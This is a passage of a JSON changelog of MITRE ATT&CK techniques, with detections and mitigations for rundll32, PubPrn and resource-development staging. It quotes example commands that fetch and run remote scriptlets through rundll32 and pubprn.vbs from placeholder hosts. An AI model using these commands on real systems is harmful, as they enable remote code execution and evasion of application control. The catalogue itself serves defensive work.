rundll32.exe. Compare recent invocations of rundll32.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity. Command arguments used with the rundll32.exe invocation may also be useful in determining the origin and purpose of the DLL being loaded.\", \"diff\": \"--- \\n+++ \\n@@ -1 +1,3 @@\\n-Use process monitoring to monitor the execution and arguments of rundll32.exe. Compare recent invocations of rundll32.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity. Command arguments used with the rundll32.exe invocation may also be useful in determining the origin and purpose of the DLL being loaded.\\n+Use process monitoring to monitor the execution and arguments of rundll32.exe. Compare recent invocations of rundll32.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity.\\n+\\n+Command arguments used with the rundll32.exe invocation may also be useful in determining the origin and purpose of the DLL being loaded. Analyzing DLL exports and comparing to runtime arguments may be useful in uncovering obfuscated function calls.\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}, \"iterable_item_added\": {\"root['external_references'][3]\": {\"source_name\": \"Attackify Rundll32.exe Obscurity\", \"description\": \"Attackify. (n.d.). Rundll32.exe Obscurity. Retrieved August 23, 2021.\", \"url\": \"https://www.attackify.com/blog/rundll32_execution_order/\"}, \"root['external_references'][4]\": {\"source_name\": \"Github NoRunDll\", \"description\": \"gtworek. (2019, December 17). NoRunDll. Retrieved August 23, 2021.\", \"url\": \"https://github.com/gtworek/PSBits/tree/master/NoRunDll\"}, \"root['x_mitre_contributors'][0]\": \"Gareth Phillips, Seek Ltd.\", \"root['x_mitre_data_sources'][0]\": \"File: File Metadata\"}}", "previous_version": "1.0", "version_change": "1.0 \u2192 1.1", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may abuse rundll32.exe to proxy execution of malt1Adversaries may abuse rundll32.exe to proxy execution of mal
>icious code. Using rundll32.exe, vice executing directly (i.>icious code. Using rundll32.exe, vice executing directly (i.
>e. [Shared Modules](https://attack.mitre.org/techniques/T112>e. [Shared Modules](https://attack.mitre.org/techniques/T112
>9)), may avoid triggering security tools that may not monito>9)), may avoid triggering security tools that may not monito
>r execution of the rundll32.exe process because of allowlist>r execution of the rundll32.exe process because of allowlist
>s or false positives from normal operations. Rundll32.exe is>s or false positives from normal operations. Rundll32.exe is
> commonly associated with executing DLL payloads.  Rundll32.> commonly associated with executing DLL payloads (ex: <code>
>exe can also be used to execute [Control Panel](https://atta>rundll32.exe {DLLname, DLLfunction}</code>).  Rundll32.exe c
>ck.mitre.org/techniques/T1218/002) Item files (.cpl) through>an also be used to execute [Control Panel](https://attack.mi
> the undocumented shell32.dll functions <code>Control_RunDLL>tre.org/techniques/T1218/002) Item files (.cpl) through the 
></code> and <code>Control_RunDLLAsUser</code>. Double-clicki>undocumented shell32.dll functions <code>Control_RunDLL</cod
>ng a .cpl file also causes rundll32.exe to execute. (Citatio>e> and <code>Control_RunDLLAsUser</code>. Double-clicking a 
>n: Trend Micro CPL)  Rundll32 can also be used to execute sc>.cpl file also causes rundll32.exe to execute. (Citation: Tr
>ripts such as JavaScript. This can be done using a syntax si>end Micro CPL)  Rundll32 can also be used to execute scripts
>milar to this: <code>rundll32.exe javascript:\"\\..\\mshtml,Run> such as JavaScript. This can be done using a syntax similar
>HTMLApplication \";document.write();GetObject(\"script:https[:> to this: <code>rundll32.exe javascript:\"\\..\\mshtml,RunHTMLA
>]//www[.]example[.]com/malicious.sct\")\"</code>  This behavio>pplication \";document.write();GetObject(\"script:https[:]//ww
>r has been seen used by malware such as Poweliks. (Citation:>w[.]example[.]com/malicious.sct\")\"</code>  This behavior has
> This is Security Command Line Confusion)> been seen used by malware such as Poweliks. (Citation: This
 > is Security Command Line Confusion)  Adversaries may also a
 >ttempt to obscure malicious code from analysis by abusing th
 >e manner in which rundll32.exe loads DLL function names. As 
 >part of Windows compatibility support for various character 
 >sets, rundll32.exe will first check for wide/Unicode then AN
 >SI character-supported functions before loading the specifie
 >d function (e.g., given the command <code>rundll32.exe Examp
 >leDLL.dll, ExampleFunction</code>, rundll32.exe would first 
 >attempt to execute <code>ExampleFunctionW</code>, or failing
 > that <code>ExampleFunctionA</code>, before loading <code>Ex
 >ampleFunction</code>). Adversaries may therefore obscure mal
 >icious code by creating multiple identical exported function
 > names and appending <code>W</code> and/or <code>A</code> to
 > harmless ones.(Citation: Attackify Rundll32.exe Obscurity)(
 >Citation: Github NoRunDll)
", "changelog_mitigations": { "shared": [ "M1050: Exploit Protection" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0009: Process (Process Creation)", "DS0011: Module (Module Load)", "DS0017: Command (Command Execution)", "DS0022: File (File Metadata)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--09cd431f-eaf4-4d2a-acaf-2a7acfe7ed58", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-02-03 16:49:57.788000+00:00", "modified": "2021-09-01 00:57:01.161000+00:00", "name": "PubPrn", "description": "Adversaries may use PubPrn to proxy execution of malicious remote files. PubPrn.vbs is a [Visual Basic](https://attack.mitre.org/techniques/T1059/005) script that publishes a printer to Active Directory Domain Services. The script is signed by Microsoft and is commonly executed through the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) via Cscript.exe. For example, the following code publishes a printer within the specified domain: cscript pubprn Printer1 LDAP://CN=Container1,DC=Domain1,DC=Com.(Citation: pubprn)\n\nAdversaries may abuse PubPrn to execute malicious payloads hosted on remote sites.(Citation: Enigma0x3 PubPrn Bypass) To do so, adversaries may set the second script: parameter to reference a scriptlet file (.sct) hosted on a remote site. An example command is pubprn.vbs 127.0.0.1 script:https://mydomain.com/folder/file.sct. This behavior may bypass signature validation restrictions and application control solutions that do not account for abuse of this script.\n\nIn later versions of Windows (10+), PubPrn.vbs has been updated to prevent proxying execution from a remote site. This is done by limiting the protocol specified in the second parameter to LDAP://, vice the script: moniker which could be used to reference remote code via HTTP(S).", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "defense-evasion" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1216/001", "external_id": "T1216.001" }, { "source_name": "pubprn", "description": "Jason Gerend. (2017, October 16). pubprn. Retrieved July 23, 2021.", "url": "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/pubprn" }, { "source_name": "Enigma0x3 PubPrn Bypass", "description": "Nelson, M. (2017, August 3). WSH INJECTION: A CASE STUDY. Retrieved April 9, 2018.", "url": "https://enigma0x3.net/2017/08/03/wsh-injection-a-case-study/" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Atul Nair, Qualys" ], "x_mitre_data_sources": [ "Process: Process Creation", "Command: Command Execution", "Script: Script Execution" ], "x_mitre_defense_bypassed": [ "Digital Certificate Validation", "Application Control" ], "x_mitre_detection": "Monitor script processes, such as `cscript`, and command-line parameters for scripts like PubPrn.vbs that may be used to proxy execution of malicious files.", "x_mitre_is_subtechnique": true, "x_mitre_permissions_required": [ "User" ], "x_mitre_platforms": [ "Windows" ], "x_mitre_version": "1.1", "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_contributors']\": [\"Atul Nair, Qualys\"], \"root['x_mitre_defense_bypassed']\": [\"Digital Certificate Validation\", \"Application Control\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-09-01 00:57:01.161000+00:00\", \"old_value\": \"2020-06-08 23:36:30.648000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may use PubPrn to proxy execution of malicious remote files. PubPrn.vbs is a [Visual Basic](https://attack.mitre.org/techniques/T1059/005) script that publishes a printer to Active Directory Domain Services. The script is signed by Microsoft and is commonly executed through the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) via Cscript.exe. For example, the following code publishes a printer within the specified domain: cscript pubprn Printer1 LDAP://CN=Container1,DC=Domain1,DC=Com.(Citation: pubprn)\\n\\nAdversaries may abuse PubPrn to execute malicious payloads hosted on remote sites.(Citation: Enigma0x3 PubPrn Bypass) To do so, adversaries may set the second script: parameter to reference a scriptlet file (.sct) hosted on a remote site. An example command is pubprn.vbs 127.0.0.1 script:https://mydomain.com/folder/file.sct. This behavior may bypass signature validation restrictions and application control solutions that do not account for abuse of this script.\\n\\nIn later versions of Windows (10+), PubPrn.vbs has been updated to prevent proxying execution from a remote site. This is done by limiting the protocol specified in the second parameter to LDAP://, vice the script: moniker which could be used to reference remote code via HTTP(S).\", \"old_value\": \"Adversaries may use the trusted PubPrn script to proxy execution of malicious files. This behavior may bypass signature validation restrictions and application control solutions that do not account for use of these scripts.\\n\\nPubPrn.vbs is a Visual Basic script that publishes a printer to Active Directory Domain Services. The script is signed by Microsoft and can be used to proxy execution from a remote site.(Citation: Enigma0x3 PubPrn Bypass) An example command is cscript C[:]\\\\Windows\\\\System32\\\\Printing_Admin_Scripts\\\\en-US\\\\pubprn[.]vbs 127.0.0.1 script:http[:]//192.168.1.100/hi.png.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,5 @@\\n-Adversaries may use the trusted PubPrn script to proxy execution of malicious files. This behavior may bypass signature validation restrictions and application control solutions that do not account for use of these scripts.\\n+Adversaries may use PubPrn to proxy execution of malicious remote files. PubPrn.vbs is a [Visual Basic](https://attack.mitre.org/techniques/T1059/005) script that publishes a printer to Active Directory Domain Services. The script is signed by Microsoft and is commonly executed through the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) via Cscript.exe. For example, the following code publishes a printer within the specified domain: cscript pubprn Printer1 LDAP://CN=Container1,DC=Domain1,DC=Com.(Citation: pubprn)\\n \\n-PubPrn.vbs is a Visual Basic script that publishes a printer to Active Directory Domain Services. The script is signed by Microsoft and can be used to proxy execution from a remote site.(Citation: Enigma0x3 PubPrn Bypass) An example command is cscript C[:]\\\\Windows\\\\System32\\\\Printing_Admin_Scripts\\\\en-US\\\\pubprn[.]vbs 127.0.0.1 script:http[:]//192.168.1.100/hi.png.\\n+Adversaries may abuse PubPrn to execute malicious payloads hosted on remote sites.(Citation: Enigma0x3 PubPrn Bypass) To do so, adversaries may set the second script: parameter to reference a scriptlet file (.sct) hosted on a remote site. An example command is pubprn.vbs 127.0.0.1 script:https://mydomain.com/folder/file.sct. This behavior may bypass signature validation restrictions and application control solutions that do not account for abuse of this script.\\n+\\n+In later versions of Windows (10+), PubPrn.vbs has been updated to prevent proxying execution from a remote site. This is done by limiting the protocol specified in the second parameter to LDAP://, vice the script: moniker which could be used to reference remote code via HTTP(S).\"}, \"root['external_references'][1]['source_name']\": {\"new_value\": \"pubprn\", \"old_value\": \"Enigma0x3 PubPrn Bypass\"}, \"root['external_references'][1]['description']\": {\"new_value\": \"Jason Gerend. (2017, October 16). pubprn. Retrieved July 23, 2021.\", \"old_value\": \"Nelson, M. (2017, August 3). WSH INJECTION: A CASE STUDY. Retrieved April 9, 2018.\"}, \"root['external_references'][1]['url']\": {\"new_value\": \"https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/pubprn\", \"old_value\": \"https://enigma0x3.net/2017/08/03/wsh-injection-a-case-study/\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}, \"iterable_item_added\": {\"root['external_references'][2]\": {\"source_name\": \"Enigma0x3 PubPrn Bypass\", \"description\": \"Nelson, M. (2017, August 3). WSH INJECTION: A CASE STUDY. Retrieved April 9, 2018.\", \"url\": \"https://enigma0x3.net/2017/08/03/wsh-injection-a-case-study/\"}}}", "previous_version": "1.0", "version_change": "1.0 \u2192 1.1", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may use the trusted PubPrn script to proxy execut1Adversaries may use PubPrn to proxy execution of malicious r
>tion of malicious files. This behavior may bypass signature >emote files. PubPrn.vbs is a [Visual Basic](https://attack.m
>validation restrictions and application control solutions th>itre.org/techniques/T1059/005) script that publishes a print
>at do not account for use of these scripts.  <code>PubPrn.vb>er to Active Directory Domain Services. The script is signed
>s</code> is a Visual Basic script that publishes a printer t> by Microsoft and is commonly executed through the [Windows 
>o Active Directory Domain Services. The script is signed by >Command Shell](https://attack.mitre.org/techniques/T1059/003
>Microsoft and can be used to proxy execution from a remote s>) via <code>Cscript.exe</code>. For example, the following c
>ite.(Citation: Enigma0x3 PubPrn Bypass) An example command i>ode publishes a printer within the specified domain: <code>c
>s <code>cscript C[:]\\Windows\\System32\\Printing_Admin_Scripts>script pubprn Printer1 LDAP://CN=Container1,DC=Domain1,DC=Co
>\\en-US\\pubprn[.]vbs 127.0.0.1 script:http[:]//192.168.1.100/>m</code>.(Citation: pubprn)  Adversaries may abuse PubPrn to
>hi.png</code>.> execute malicious payloads hosted on remote sites.(Citation
 >: Enigma0x3 PubPrn Bypass) To do so, adversaries may set the
 > second <code>script:</code> parameter to reference a script
 >let file (.sct) hosted on a remote site. An example command 
 >is <code>pubprn.vbs 127.0.0.1 script:https://mydomain.com/fo
 >lder/file.sct</code>. This behavior may bypass signature val
 >idation restrictions and application control solutions that 
 >do not account for abuse of this script.  In later versions 
 >of Windows (10+), <code>PubPrn.vbs</code> has been updated t
 >o prevent proxying execution from a remote site. This is don
 >e by limiting the protocol specified in the second parameter
 > to <code>LDAP://</code>, vice the <code>script:</code> moni
 >ker which could be used to reference remote code via HTTP(S)
 >.
", "changelog_mitigations": { "shared": [ "M1038: Execution Prevention" ], "new": [ "M1040: Behavior Prevention on Endpoint" ], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0009: Process (Process Creation)", "DS0012: Script (Script Execution)", "DS0017: Command (Command Execution)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--84771bc3-f6a0-403e-b144-01af70e5fda0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2021-03-17 20:04:09.331000+00:00", "modified": "2021-10-17 16:28:41.815000+00:00", "name": "Stage Capabilities", "description": "Adversaries may upload, install, or otherwise set up capabilities that can be used during targeting. To support their operations, an adversary may need to take capabilities they developed ([Develop Capabilities](https://attack.mitre.org/techniques/T1587)) or obtained ([Obtain Capabilities](https://attack.mitre.org/techniques/T1588)) and stage them on infrastructure under their control. These capabilities may be staged on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)). Capabilities can also be staged on web services, such as GitHub or Pastebin.(Citation: Volexity Ocean Lotus November 2020)\n\nStaging of capabilities can aid the adversary in a number of initial access and post-compromise behaviors, including (but not limited to):\n\n* Staging web resources necessary to conduct [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) when a user browses to a site.(Citation: FireEye CFR Watering Hole 2012)(Citation: Gallagher 2015)(Citation: ATT ScanBox)\n* Staging web resources for a link target to be used with spearphishing.(Citation: Malwarebytes Silent Librarian October 2020)(Citation: Proofpoint TA407 September 2019)\n* Uploading malware or tools to a location accessible to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105).(Citation: Volexity Ocean Lotus November 2020)\n* Installing a previously acquired SSL/TLS certificate to use to encrypt command and control traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)).(Citation: DigiCert Install SSL Cert)", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "resource-development" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1608", "external_id": "T1608" }, { "source_name": "Volexity Ocean Lotus November 2020", "description": "Adair, S. and Lancaster, T. (2020, November 6). OceanLotus: Extending Cyber Espionage Operations Through Fake Websites. Retrieved November 20, 2020.", "url": "https://www.volexity.com/blog/2020/11/06/oceanlotus-extending-cyber-espionage-operations-through-fake-websites/" }, { "source_name": "FireEye CFR Watering Hole 2012", "description": "Kindlund, D. (2012, December 30). CFR Watering Hole Attack Details. Retrieved December 18, 2020.", "url": "https://www.fireeye.com/blog/threat-research/2012/12/council-foreign-relations-water-hole-attack-details.html" }, { "source_name": "Gallagher 2015", "description": "Gallagher, S.. (2015, August 5). Newly discovered Chinese hacking group hacked 100+ websites to use as \u201cwatering holes\u201d. Retrieved January 25, 2016.", "url": "http://arstechnica.com/security/2015/08/newly-discovered-chinese-hacking-group-hacked-100-websites-to-use-as-watering-holes/" }, { "source_name": "ATT ScanBox", "description": "Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020.", "url": "https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks" }, { "source_name": "Malwarebytes Silent Librarian October 2020", "description": "Malwarebytes Threat Intelligence Team. (2020, October 14). Silent Librarian APT right on schedule for 20/21 academic year. Retrieved February 3, 2021.", "url": "https://blog.malwarebytes.com/malwarebytes-news/2020/10/silent-librarian-apt-phishing-attack/" }, { "source_name": "Proofpoint TA407 September 2019", "description": "Proofpoint Threat Insight Team. (2019, September 5). Threat Actor Profile: TA407, the Silent Librarian. Retrieved February 3, 2021.", "url": "https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta407-silent-librarian" }, { "source_name": "DigiCert Install SSL Cert", "description": "DigiCert. (n.d.). How to Install an SSL Certificate. Retrieved April 19, 2021.", "url": "https://www.digicert.com/kb/ssl-certificate-installation.htm" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Internet Scan: Response Content" ], "x_mitre_detection": "If infrastructure or patterns in malware, tooling, certificates, or malicious web content have been previously identified, internet scanning may uncover when an adversary has staged their capabilities.\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as initial access and post-compromise behaviors.", "x_mitre_is_subtechnique": false, "x_mitre_platforms": [ "PRE" ], "x_mitre_version": "1.1", "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_data_sources']\": [\"Internet Scan: Response Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-17 16:28:41.815000+00:00\", \"old_value\": \"2021-04-27 19:01:22.653000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"If infrastructure or patterns in malware, tooling, certificates, or malicious web content have been previously identified, internet scanning may uncover when an adversary has staged their capabilities.\\n\\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as initial access and post-compromise behaviors.\", \"old_value\": \"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as initial access and post-compromise behaviors.\", \"diff\": \"--- \\n+++ \\n@@ -1 +1,3 @@\\n+If infrastructure or patterns in malware, tooling, certificates, or malicious web content have been previously identified, internet scanning may uncover when an adversary has staged their capabilities.\\n+\\n Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as initial access and post-compromise behaviors.\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}}", "previous_version": "1.0", "version_change": "1.0 \u2192 1.1", "changelog_mitigations": { "shared": [ "M1056: Pre-compromise" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0035: Internet Scan (Response Content)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--31fe0ba2-62fd-4fd9-9293-4043d84f7fe9", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2021-03-17 20:33:20.127000+00:00", "modified": "2021-10-17 16:27:38.793000+00:00", "name": "Drive-by Target", "description": "Adversaries may prepare an operational environment to infect systems that visit a website over the normal course of browsing. Endpoint systems may be compromised through browsing to adversary controlled sites, as in [Drive-by Compromise](https://attack.mitre.org/techniques/T1189). In such cases, the user's web browser is typically targeted for exploitation (often not requiring any extra user interaction once landing on the site), but adversaries may also set up websites for non-exploitation behavior such as [Application Access Token](https://attack.mitre.org/techniques/T1550/001). Prior to [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), adversaries must stage resources needed to deliver that exploit to users who browse to an adversary controlled site. Drive-by content can be staged on adversary controlled infrastructure that has been acquired ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or previously compromised ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)).\n\nAdversaries may upload or inject malicious web content, such as [JavaScript](https://attack.mitre.org/techniques/T1059/007), into websites.(Citation: FireEye CFR Watering Hole 2012)(Citation: Gallagher 2015) This may be done in a number of ways, including inserting malicious script into web pages or other user controllable web content such as forum posts. Adversaries may also craft malicious web advertisements and purchase ad space on a website through legitimate ad providers. In addition to staging content to exploit a user's web browser, adversaries may also stage scripting content to profile the user's browser (as in [Gather Victim Host Information](https://attack.mitre.org/techniques/T1592)) to ensure it is vulnerable prior to attempting exploitation.(Citation: ATT ScanBox)\n\nWebsites compromised by an adversary and used to stage a drive-by may be ones visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted attack is referred to a strategic web compromise or watering hole attack.\n\nAdversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure ([Domains](https://attack.mitre.org/techniques/T1583/001)) to help facilitate [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "resource-development" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1608/004", "external_id": "T1608.004" }, { "source_name": "FireEye CFR Watering Hole 2012", "description": "Kindlund, D. (2012, December 30). CFR Watering Hole Attack Details. Retrieved December 18, 2020.", "url": "https://www.fireeye.com/blog/threat-research/2012/12/council-foreign-relations-water-hole-attack-details.html" }, { "source_name": "Gallagher 2015", "description": "Gallagher, S.. (2015, August 5). Newly discovered Chinese hacking group hacked 100+ websites to use as \u201cwatering holes\u201d. Retrieved January 25, 2016.", "url": "http://arstechnica.com/security/2015/08/newly-discovered-chinese-hacking-group-hacked-100-websites-to-use-as-watering-holes/" }, { "source_name": "ATT ScanBox", "description": "Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020.", "url": "https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Internet Scan: Response Content" ], "x_mitre_detection": "If infrastructure or patterns in the malicious web content utilized to deliver a [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) have been previously identified, internet scanning may uncover when an adversary has staged web content for use in a strategic web compromise.\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on other phases of the adversary lifecycle, such as [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) or [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203).", "x_mitre_is_subtechnique": true, "x_mitre_platforms": [ "PRE" ], "x_mitre_version": "1.1", "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_data_sources']\": [\"Internet Scan: Response Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-17 16:27:38.793000+00:00\", \"old_value\": \"2021-04-27 17:52:55.302000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"If infrastructure or patterns in the malicious web content utilized to deliver a [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) have been previously identified, internet scanning may uncover when an adversary has staged web content for use in a strategic web compromise.\\n\\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on other phases of the adversary lifecycle, such as [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) or [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203).\", \"old_value\": \"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on other phases of the adversary lifecycle, such as [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) or [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203).\", \"diff\": \"--- \\n+++ \\n@@ -1 +1,3 @@\\n+If infrastructure or patterns in the malicious web content utilized to deliver a [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) have been previously identified, internet scanning may uncover when an adversary has staged web content for use in a strategic web compromise.\\n+\\n Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on other phases of the adversary lifecycle, such as [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) or [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203).\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}}", "previous_version": "1.0", "version_change": "1.0 \u2192 1.1", "changelog_mitigations": { "shared": [ "M1056: Pre-compromise" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0035: Internet Scan (Response Content)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--c071d8c1-3b3a-4f22-9407-ca4e96921069", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2021-03-17 20:32:13.793000+00:00", "modified": "2021-10-16 17:47:46.409000+00:00", "name": "Install Digital Certificate", "description": "Adversaries may install SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are files that can be installed on servers to enable secure communications between systems. Digital certificates include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate securely with its owner. Certificates can be uploaded to a server, then the server can be configured to use the certificate to enable encrypted communication with it.(Citation: DigiCert Install SSL Cert)\n\nAdversaries may install SSL/TLS certificates that can be used to further their operations, such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or lending credibility to a credential harvesting site. Installation of digital certificates may take place for a number of server types, including web servers and email servers. \n\nAdversaries can obtain digital certificates (see [Digital Certificates](https://attack.mitre.org/techniques/T1588/004)) or create self-signed certificates (see [Digital Certificates](https://attack.mitre.org/techniques/T1587/003)). Digital certificates can then be installed on adversary controlled infrastructure that may have been acquired ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or previously compromised ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)).", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "resource-development" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1608/003", "external_id": "T1608.003" }, { "source_name": "DigiCert Install SSL Cert", "description": "DigiCert. (n.d.). How to Install an SSL Certificate. Retrieved April 19, 2021.", "url": "https://www.digicert.com/kb/ssl-certificate-installation.htm" }, { "source_name": "Splunk Kovar Certificates 2017", "description": "Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020.", "url": "https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Internet Scan: Response Content" ], "x_mitre_detection": "Consider use of services that may aid in the tracking of certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017)\n\nDetection efforts may be focused on related behaviors, such as [Web Protocols](https://attack.mitre.org/techniques/T1071/001) or [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002).", "x_mitre_is_subtechnique": true, "x_mitre_platforms": [ "PRE" ], "x_mitre_version": "1.1", "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_data_sources']\": [\"Internet Scan: Response Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-16 17:47:46.409000+00:00\", \"old_value\": \"2021-04-26 18:43:18.448000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}}", "previous_version": "1.0", "version_change": "1.0 \u2192 1.1", "changelog_mitigations": { "shared": [ "M1056: Pre-compromise" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0035: Internet Scan (Response Content)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--84ae8255-b4f4-4237-b5c5-e717405a9701", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2021-03-17 20:35:08.429000+00:00", "modified": "2021-10-17 16:28:41.565000+00:00", "name": "Link Target", "description": "Adversaries may put in place resources that are referenced by a link that can be used during targeting. An adversary may rely upon a user clicking a malicious link in order to divulge information (including credentials) or to gain execution, as in [Malicious Link](https://attack.mitre.org/techniques/T1204/001). Links can be used for spearphishing, such as sending an email accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser. Prior to a phish for information (as in [Spearphishing Link](https://attack.mitre.org/techniques/T1598/003)) or a phish to gain initial access to a system (as in [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002)), an adversary must set up the resources for a link target for the spearphishing link. \n\nTypically, the resources for a link target will be an HTML page that may include some client-side script such as [JavaScript](https://attack.mitre.org/techniques/T1059/007) to decide what content to 